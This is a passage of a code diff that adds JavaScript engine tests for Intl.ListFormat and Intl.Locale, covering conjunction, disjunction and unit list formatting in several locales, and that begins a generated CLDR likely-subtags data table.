+ "de": { long: [Element("A"), Literal(" und "), Element("B")] },
+ "en": {
+ long: [Element("A"), Literal(" and "), Element("B")],
+ short: [Element("A"), Literal(" & "), Element("B")],
+ narrow: [Element("A"), Literal(", "), Element("B")],
+ },
+ "es": { long: [Element("A"), Literal(" y "), Element("B")] },
+ "ja": { long: [Element("A"), Literal("、"), Element("B")] },
+ "nl": { long: [Element("A"), Literal(" en "), Element("B")] },
+ "th": { long: [Element("A"), Literal("และ"), Element("B")] },
+ "zh": {
+ long: [Element("A"), Literal("和"), Element("B")],
+ narrow: [Element("A"), Literal("、"), Element("B")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with more than two elements.
+//
+// Use four elements to cover all template parts ([[TemplateStart]], [[TemplateMiddle]], and
+// [[TemplateEnd]]).
+{
+ const list = ["A", "B", "C", "D"];
+
+ const testData = {
+ "ar": {
+ long: [Element("A"), Literal(" و"), Element("B"), Literal(" و"), Element("C"), Literal(" و"), Element("D")],
+ short: [Element("A"), Literal(" و"), Element("B"), Literal(" و"), Element("C"), Literal(" و"), Element("D")],
+ narrow: [Element("A"), Literal(" و"), Element("B"), Literal(" و"), Element("C"), Literal(" و"), Element("D")],
+ },
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" und "), Element("D")],
+ },
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", and "), Element("D")],
+ short: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", & "), Element("D")],
+ narrow: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ },
+ "es": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" y "), Element("D")],
+ },
+ "ja": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("、"), Element("D")],
+ },
+ "nl": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" en "), Element("D")],
+ },
+ "th": {
+ long: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" และ"), Element("D")],
+ },
+ "zh": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("和"), Element("D")],
+ narrow: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("、"), Element("D")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/cross-compartment.js b/js/src/tests/non262/Intl/ListFormat/cross-compartment.js
new file mode 100644
index 0000000000..37c45ef75c
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/cross-compartment.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var g = newGlobal();
+
+var locale = "en";
+var list = ["a", "b", "c"];
+
+var listFormat = new Intl.ListFormat(locale);
+var ccwListFormat = new g.Intl.ListFormat(locale);
+
+// Intl.ListFormat.prototype.format
+{
+ var fn = Intl.ListFormat.prototype.format;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(ccwListFormat, list);
+
+ assertEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.formatToParts
+{
+ var fn = Intl.ListFormat.prototype.formatToParts;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(ccwListFormat, list);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.resolvedOptions
+{
+ var fn = Intl.ListFormat.prototype.resolvedOptions;
+
+ var expectedValue = fn.call(listFormat);
+ var actualValue = fn.call(ccwListFormat);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/disjunction-type.js b/js/src/tests/non262/Intl/ListFormat/disjunction-type.js
new file mode 100644
index 0000000000..2713a8ae07
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/disjunction-type.js
@@ -0,0 +1,108 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Note: Use the same test locales as used in unit-type.js
+
+const {Element, Literal} = ListFormatParts;
+const styles = ["long", "short", "narrow"];
+
+// Test with zero elements.
+{
+ const list = [];
+ const expected = [];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with one element.
+{
+ const list = ["A"];
+ const expected = [Element(list[0])];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with two elements to cover the [[Template2]] case.
+{
+ const list = ["A", "B"];
+
+ const testData = {
+ "ar": { long: [Element("A"), Literal(" أو "), Element("B")] },
+ "de": { long: [Element("A"), Literal(" oder "), Element("B")] },
+ "en": { long: [Element("A"), Literal(" or "), Element("B")] },
+ "es": { long: [Element("A"), Literal(" o "), Element("B")] },
+ "ja": { long: [Element("A"), Literal("または"), Element("B")] },
+ "nl": { long: [Element("A"), Literal(" of "), Element("B")] },
+ "th": {
+ long: [Element("A"), Literal(" หรือ "), Element("B")],
+ short: [Element("A"), Literal("หรือ"), Element("B")],
+ narrow: [Element("A"), Literal("หรือ"), Element("B")],
+ },
+ "zh": { long: [Element("A"), Literal("或"), Element("B")] },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with more than two elements.
+//
+// Use four elements to cover all template parts ([[TemplateStart]], [[TemplateMiddle]], and
+// [[TemplateEnd]]).
+{
+ const list = ["A", "B", "C", "D"];
+
+ const testData = {
+ "ar": {
+ long: [Element("A"), Literal(" أو "), Element("B"), Literal(" أو "), Element("C"), Literal(" أو "), Element("D")],
+ },
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" oder "), Element("D")],
+ },
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", or "), Element("D")],
+ },
+ "es": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" o "), Element("D")],
+ },
+ "ja": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("、または"), Element("D")],
+ },
+ "nl": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" of "), Element("D")],
+ },
+ "th": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" หรือ "), Element("D")],
+ },
+ "zh": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("或"), Element("D")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/same-compartment.js b/js/src/tests/non262/Intl/ListFormat/same-compartment.js
new file mode 100644
index 0000000000..a51a041a08
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/same-compartment.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.wrapWithProto)
+
+var locale = "en";
+var list = ["a", "b", "c"];
+
+var listFormat = new Intl.ListFormat(locale);
+var scwListFormat = wrapWithProto(listFormat, Intl.ListFormat.prototype);
+
+// Intl.ListFormat.prototype.format
+{
+ var fn = Intl.ListFormat.prototype.format;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(scwListFormat, list);
+
+ assertEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.formatToParts
+{
+ var fn = Intl.ListFormat.prototype.formatToParts;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(scwListFormat, list);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.resolvedOptions
+{
+ var fn = Intl.ListFormat.prototype.resolvedOptions;
+
+ var expectedValue = fn.call(listFormat);
+ var actualValue = fn.call(scwListFormat);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/shell.js b/js/src/tests/non262/Intl/ListFormat/shell.js
new file mode 100644
index 0000000000..70056a579e
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/shell.js
@@ -0,0 +1,21 @@
+function GenericPartCreator(type) {
+ return str => ({ type, value: str });
+}
+
+const ListFormatParts = {
+ Element: GenericPartCreator("element"),
+ Literal: GenericPartCreator("literal"),
+};
+
+function assertParts(lf, x, expected) {
+ var parts = lf.formatToParts(x);
+ assertEq(parts.map(part => part.value).join(""), lf.format(x),
+ "formatToParts and format must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ }
+}
diff --git a/js/src/tests/non262/Intl/ListFormat/supported-locales.js b/js/src/tests/non262/Intl/ListFormat/supported-locales.js
new file mode 100644
index 0000000000..f5d05e2da5
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/supported-locales.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Intl.ListFormat.supportedLocalesOf returns an empty array for unsupported locales.
+assertEq(Intl.ListFormat.supportedLocalesOf("art-lobjan").length, 0);
+
+// And a non-empty array for supported locales.
+assertEq(Intl.ListFormat.supportedLocalesOf("en").length, 1);
+assertEq(Intl.ListFormat.supportedLocalesOf("en")[0], "en");
+
+// If the locale is supported per |Intl.ListFormat.supportedLocalesOf|, the resolved locale
+// should reflect this.
+for (let locale of Intl.ListFormat.supportedLocalesOf(["en", "de", "th", "ar"])) {
+ let lf = new Intl.ListFormat(locale);
+ assertEq(lf.resolvedOptions().locale, locale);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/unit-type.js b/js/src/tests/non262/Intl/ListFormat/unit-type.js
new file mode 100644
index 0000000000..8c76677865
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/unit-type.js
@@ -0,0 +1,149 @@
+// |reftest| skip -- "unit" type currently not supported
+
+const {Element, Literal} = ListFormatParts;
+const styles = ["long", "short", "narrow"];
+
+// Test with zero elements.
+{
+ const list = [];
+ const expected = [];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with one element.
+{
+ const list = ["A"];
+ const expected = [Element(list[0])];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with two elements to cover the [[Template2]] case.
+{
+ const list = ["A", "B"];
+
+ const testData = {
+ "ar": {
+ long: [Element("A"), Literal(" و"), Element("B")],
+ narrow: [Element("A"), Literal("، "), Element("B")],
+ },
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B")],
+ },
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B")],
+ narrow: [Element("A"), Literal(" "), Element("B")],
+ },
+ "es": {
+ long: [Element("A"), Literal(" y "), Element("B")],
+ narrow: [Element("A"), Literal(" "), Element("B")],
+ },
+ "ja": {
+ long: [Element("A"), Literal(" "), Element("B")],
+ narrow: [Element("A"), Element("B")],
+ },
+ "nl": {
+ long: [Element("A"), Literal(" en "), Element("B")],
+ short: [Element("A"), Literal(", "), Element("B")],
+ narrow: [Element("A"), Literal(", "), Element("B")],
+ },
+ "th": {
+ long: [Element("A"), Literal(" และ "), Element("B")],
+ short: [Element("A"), Literal(" "), Element("B")],
+ narrow: [Element("A"), Literal(" "), Element("B")],
+ },
+ "zh": {
+ long: [Element("A"), Element("B")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with more than two elements.
+//
+// Use four elements to cover all template parts ([[TemplateStart]], [[TemplateMiddle]], and
+// [[TemplateEnd]]).
+{
+ const list = ["A", "B", "C", "D"];
+
+ const testData = {
+ // non-ASCII case
+ "ar": {
+ long: [Element("A"), Literal("، و"), Element("B"), Literal("، و"), Element("C"), Literal("، و"), Element("D")],
+ narrow: [Element("A"), Literal("، "), Element("B"), Literal("، "), Element("C"), Literal("، "), Element("D")],
+ },
+
+ // all values are equal
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" und "), Element("D")],
+ },
+
+ // long and short values are equal
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ narrow: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ },
+
+ // all values are different
+ "es": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" y "), Element("D")],
+ short: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ narrow: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ },
+
+ // no spacing for narrow case
+ "ja": {
+ long: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ narrow: [Element("A"), Element("B"), Element("C"), Element("D")],
+ },
+
+ // short and narrow values are equal
+ "nl": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" en "), Element("D")],
+ short: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ narrow: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ },
+
+ // another non-ASCII case
+ "th": {
+ long: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" และ "), Element("D")],
+ narrow: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ },
+
+ // no whitespace at all
+ "zh": {
+ long: [Element("A"), Element("B"), Element("C"), Element("D")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js b/js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js
new file mode 100644
index 0000000000..2a96200757
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// ApplyOptionsToTag canonicalises the locale identifier before applying the
+// options. That means "und-Armn-SU" is first canonicalised to "und-Armn-AM",
+// then the language is changed to "ru". If "ru" were applied first, the result
+// would be "ru-Armn-RU" instead.
+assertEq(new Intl.Locale("und-Armn-SU", {language:"ru"}).toString(),
+ "ru-Armn-AM");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/browser.js b/js/src/tests/non262/Intl/Locale/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/browser.js
diff --git a/js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js b/js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js
new file mode 100644
index 0000000000..7f57a61132
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Throw a TypeError when the |options| argument is null before validating the
+// language tag argument.
+assertThrowsInstanceOf(() => {
+ new Intl.Locale("invalid_tag", null);
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/cross-compartment.js b/js/src/tests/non262/Intl/Locale/cross-compartment.js
new file mode 100644
index 0000000000..d3788e3eb7
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/cross-compartment.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var g = newGlobal();
+
+var tag = "de-Latn-AT-u-ca-gregory-nu-latn-co-phonebk-kf-false-kn-hc-h23";
+var locale = new Intl.Locale(tag);
+var ccwLocale = new g.Intl.Locale(tag);
+
+for (var [key, {get, value = get}] of Object.entries(Object.getOwnPropertyDescriptors(Intl.Locale.prototype))) {
+ if (typeof value === "function") {
+ if (key !== "constructor") {
+ var expectedValue = value.call(locale);
+
+ if (typeof expectedValue === "string" || typeof expectedValue === "boolean") {
+ assertEq(value.call(ccwLocale), expectedValue, key);
+ } else if (expectedValue instanceof Intl.Locale) {
+ assertEq(value.call(ccwLocale).toString(), expectedValue.toString(), key);
+ } else {
+ throw new Error("unexpected result value");
+ }
+ } else {
+ assertEq(new value(ccwLocale).toString(), new value(locale).toString(), key);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/legacy.js b/js/src/tests/non262/Intl/Locale/legacy.js
new file mode 100644
index 0000000000..835e886122
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/legacy.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var testData = [
+ {
+ tag: "cel-gaulish",
+ options: {
+ numberingSystem: "latn",
+ },
+ canonical: "xtg-u-nu-latn",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+
+ {
+ tag: "cel-gaulish",
+ options: {
+ region: "FR",
+ numberingSystem: "latn",
+ },
+ canonical: "xtg-FR-u-nu-latn",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+
+ {
+ tag: "art-lojban",
+ options: {
+ numberingSystem: "latn",
+ },
+ canonical: "jbo-u-nu-latn",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+
+ {
+ tag: "art-lojban",
+ options: {
+ region: "ZZ",
+ numberingSystem: "latn",
+ },
+ canonical: "jbo-ZZ-u-nu-latn",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+];
+
+for (var {tag, options, canonical, extensions} of testData) {
+ var loc = new Intl.Locale(tag, options);
+ assertEq(loc.toString(), canonical);
+
+ for (var [name, value] of Object.entries(extensions)) {
+ assertEq(loc[name], value);
+ }
+}
+
+var errorTestData = [
+ "en-gb-oed",
+ "i-default",
+ "sgn-ch-de",
+ "zh-min",
+ "zh-min-nan",
+ "zh-hakka-hakka",
+];
+
+for (var tag of errorTestData) {
+ assertThrowsInstanceOf(() => new Intl.Locale(tag), RangeError);
+ assertThrowsInstanceOf(() => new Intl.Locale(tag, {}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/likely-subtags-generated.js b/js/src/tests/non262/Intl/Locale/likely-subtags-generated.js
new file mode 100644
index 0000000000..91d23ae663
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/likely-subtags-generated.js
@@ -0,0 +1,15797 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+// Generated by make_intl_data.py. DO NOT EDIT.
+
+// Extracted from likelySubtags.xml.
+// Derived from CLDR Supplemental Data, version 43.
+// https://unicode.org/Public/cldr/43/cldr-common-43.0.zip
+var maxLikelySubtags = {
+ "aa": "aa-Latn-ET",
+ "aaa": "aaa-Latn-NG",
+ "aab": "aab-Latn-NG",
+ "aac": "aac-Latn-PG",
+ "aad": "aad-Latn-PG",
+ "aae": "aae-Latn-IT",
+ "aae-Grek": "aae-Grek-IT",
+ "aaf": "aaf-Mlym-IN",
+ "aaf-Arab": "aaf-Arab-IN",
+ "aag": "aag-Latn-PG",
+ "aah": "aah-Latn-PG",
+ "aai": "aai-Latn-ZZ",
+ "aak": "aak-Latn-ZZ",
+ "aal": "aal-Latn-CM",
+ "aan": "aan-Latn-BR",
+ "aao": "aao-Arab-DZ",
+ "aap": "aap-Latn-BR",
+ "aaq": "aaq-Latn-US",
+ "aas": "aas-Latn-TZ",
+ "aat": "aat-Grek-GR",
+ "aau": "aau-Latn-ZZ",
+ "aaw": "aaw-Latn-PG",
+ "aax": "aax-Latn-ID",
+ "aaz": "aaz-Latn-ID",
+ "ab": "ab-Cyrl-GE",
+ "aba": "aba-Latn-CI",
+ "abb": "abb-Latn-CM",
+ "abc": "abc-Latn-PH",
+ "abd": "abd-Latn-PH",
+ "abe": "abe-Latn-CA",
+ "abf": "abf-Latn-MY",
+ "abg": "abg-Latn-PG",
+ "abh": "abh-Arab-TJ",
+ "abi": "abi-Latn-ZZ",
+ "abl": "abl-Rjng-ID",
+ "abl-Latn": "abl-Latn-ID",
+ "abm": "abm-Latn-NG",
+ "abn": "abn-Latn-NG",
+ "abo": "abo-Latn-NG",
+ "abp": "abp-Latn-PH",
+ "abq": "abq-Cyrl-ZZ",
+ "abr": "abr-Latn-GH",
+ "abs": "abs-Latn-ID",
+ "abt": "abt-Latn-ZZ",
+ "abu": "abu-Latn-CI",
+ "abv": "abv-Arab-BH",
+ "abw": "abw-Latn-PG",
+ "abx": "abx-Latn-PH",
+ "aby": "aby-Latn-ZZ",
+ "abz": "abz-Latn-ID",
+ "aca": "aca-Latn-CO",
+ "acb": "acb-Latn-NG",
+ "acd": "acd-Latn-ZZ",
+ "ace": "ace-Latn-ID",
+ "acf": "acf-Latn-LC",
+ "ach": "ach-Latn-UG",
+ "acm": "acm-Arab-IQ",
+ "acn": "acn-Latn-CN",
+ "acp": "acp-Latn-NG",
+ "acq": "acq-Arab-YE",
+ "acr": "acr-Latn-GT",
+ "acs": "acs-Latn-BR",
+ "act": "act-Latn-NL",
+ "acu": "acu-Latn-EC",
+ "acv": "acv-Latn-US",
+ "acw": "acw-Arab-SA",
+ "acx": "acx-Arab-OM",
+ "acy": "acy-Latn-CY",
+ "acy-Arab": "acy-Arab-CY",
+ "acy-Grek": "acy-Grek-CY",
+ "acz": "acz-Latn-SD",
+ "ada": "ada-Latn-GH",
+ "adb": "adb-Latn-TL",
+ "add": "add-Latn-CM",
+ "ade": "ade-Latn-ZZ",
+ "adf": "adf-Arab-OM",
+ "adg": "adg-Latn-AU",
+ "adh": "adh-Latn-UG",
+ "adi": "adi-Latn-IN",
+ "adi-Tibt": "adi-Tibt-CN",
+ "adj": "adj-Latn-ZZ",
+ "adl": "adl-Latn-IN",
+ "adn": "adn-Latn-ID",
+ "ado": "ado-Latn-PG",
+ "adp": "dz-Tibt-BT",
+ "adq": "adq-Latn-GH",
+ "adr": "adr-Latn-ID",
+ "adt": "adt-Latn-AU",
+ "adu": "adu-Latn-NG",
+ "adw": "adw-Latn-BR",
+ "adx": "adx-Tibt-CN",
+ "ady": "ady-Cyrl-RU",
+ "adz": "adz-Latn-ZZ",
+ "ae": "ae-Avst-IR",
+ "aea": "aea-Latn-AU",
+ "aeb": "aeb-Arab-TN",
+ "aec": "aec-Arab-EG",
+ "aee": "aee-Arab-AF",
+ "aek": "aek-Latn-NC",
+ "ael": "ael-Latn-CM",
+ "aem": "aem-Latn-VN",
+ "aeq": "aeq-Arab-PK",
+ "aer": "aer-Latn-AU",
+ "aeu": "aeu-Latn-CN",
+ "aew": "aew-Latn-PG",
+ "aey": "aey-Latn-ZZ",
+ "aez": "aez-Latn-PG",
+ "af": "af-Latn-ZA",
+ "afb": "afb-Arab-KW",
+ "afd": "afd-Latn-PG",
+ "afe": "afe-Latn-NG",
+ "afh": "afh-Latn-GH",
+ "afi": "afi-Latn-PG",
+ "afk": "afk-Latn-PG",
+ "afn": "afn-Latn-NG",
+ "afo": "afo-Latn-NG",
+ "afp": "afp-Latn-PG",
+ "afs": "afs-Latn-MX",
+ "afu": "afu-Latn-GH",
+ "afz": "afz-Latn-ID",
+ "aga": "aga-Latn-PE",
+ "agb": "agb-Latn-NG",
+ "agc": "agc-Latn-ZZ",
+ "agd": "agd-Latn-ZZ",
+ "age": "age-Latn-PG",
+ "agf": "agf-Latn-ID",
+ "agg": "agg-Latn-ZZ",
+ "agh": "agh-Latn-CD",
+ "agi": "agi-Deva-IN",
+ "agj": "agj-Ethi-ET",
+ "agj-Arab": "agj-Arab-ET",
+ "agk": "agk-Latn-PH",
+ "agl": "agl-Latn-PG",
+ "agm": "agm-Latn-ZZ",
+ "agn": "agn-Latn-PH",
+ "ago": "ago-Latn-ZZ",
+ "agq": "agq-Latn-CM",
+ "agr": "agr-Latn-PE",
+ "ags": "ags-Latn-CM",
+ "agt": "agt-Latn-PH",
+ "agu": "agu-Latn-GT",
+ "agv": "agv-Latn-PH",
+ "agw": "agw-Latn-SB",
+ "agx": "agx-Cyrl-RU",
+ "agy": "agy-Latn-PH",
+ "agz": "agz-Latn-PH",
+ "aha": "aha-Latn-ZZ",
+ "ahb": "ahb-Latn-VU",
+ "ahg": "ahg-Ethi-ET",
+ "ahh": "ahh-Latn-ID",
+ "ahi": "ahi-Latn-CI",
+ "ahk": "ahk-Latn-MM",
+ "ahk-Mymr": "ahk-Mymr-MM",
+ "ahk-TH": "ahk-Latn-TH",
+ "ahk-Thai": "ahk-Thai-TH",
+ "ahl": "ahl-Latn-ZZ",
+ "ahm": "ahm-Latn-CI",
+ "ahn": "ahn-Latn-NG",
+ "aho": "aho-Ahom-IN",
+ "ahp": "ahp-Latn-CI",
+ "ahr": "ahr-Deva-IN",
+ "ahs": "ahs-Latn-NG",
+ "aht": "aht-Latn-US",
+ "aia": "aia-Latn-SB",
+ "aib": "aib-Arab-CN",
+ "aic": "aic-Latn-PG",
+ "aid": "aid-Latn-AU",
+ "aie": "aie-Latn-PG",
+ "aif": "aif-Latn-PG",
+ "aig": "aig-Latn-AG",
+ "aij": "aij-Hebr-IL",
+ "aik": "aik-Latn-NG",
+ "ail": "ail-Latn-PG",
+ "aim": "aim-Latn-IN",
+ "ain": "ain-Kana-JP",
+ "ain-Latn": "ain-Latn-JP",
+ "aio": "aio-Mymr-IN",
+ "aip": "aip-Latn-ID",
+ "aiq": "aiq-Arab-AF",
+ "air": "air-Latn-ID",
+ "ait": "ait-Latn-BR",
+ "aiw": "aiw-Latn-ET",
+ "aiw-Arab": "aiw-Arab-ET",
+ "aiw-Ethi": "aiw-Ethi-ET",
+ "aix": "aix-Latn-PG",
+ "aiy": "aiy-Latn-CF",
+ "aja": "aja-Latn-SS",
+ "ajg": "ajg-Latn-ZZ",
+ "aji": "aji-Latn-NC",
+ "ajn": "ajn-Latn-AU",
+ "ajp": "ajp-Arab-JO",
+ "ajt": "aeb-Arab-TN",
+ "ajw": "ajw-Latn-NG",
+ "ajz": "ajz-Latn-IN",
+ "ak": "ak-Latn-GH",
+ "akb": "akb-Latn-ID",
+ "akb-Batk": "akb-Batk-ID",
+ "akc": "akc-Latn-ID",
+ "akd": "akd-Latn-NG",
+ "ake": "ake-Latn-GY",
+ "akf": "akf-Latn-NG",
+ "akg": "akg-Latn-ID",
+ "akh": "akh-Latn-PG",
+ "aki": "aki-Latn-PG",
+ "akk": "akk-Xsux-IQ",
+ "akl": "akl-Latn-PH",
+ "ako": "ako-Latn-SR",
+ "akp": "akp-Latn-GH",
+ "akq": "akq-Latn-PG",
+ "akr": "akr-Latn-VU",
+ "aks": "aks-Latn-TG",
+ "akt": "akt-Latn-PG",
+ "aku": "aku-Latn-CM",
+ "akv": "akv-Cyrl-RU",
+ "akw": "akw-Latn-CG",
+ "akz": "akz-Latn-US",
+ "ala": "ala-Latn-ZZ",
+ "alc": "alc-Latn-CL",
+ "ald": "ald-Latn-CI",
+ "ale": "ale-Latn-US",
+ "alf": "alf-Latn-NG",
+ "alh": "alh-Latn-AU",
+ "ali": "ali-Latn-ZZ",
+ "alj": "alj-Latn-PH",
+ "alk": "alk-Laoo-LA",
+ "all": "all-Mlym-IN",
+ "alm": "alm-Latn-VU",
+ "aln": "aln-Latn-XK",
+ "alo": "alo-Latn-ID",
+ "alp": "alp-Latn-ID",
+ "alq": "alq-Latn-CA",
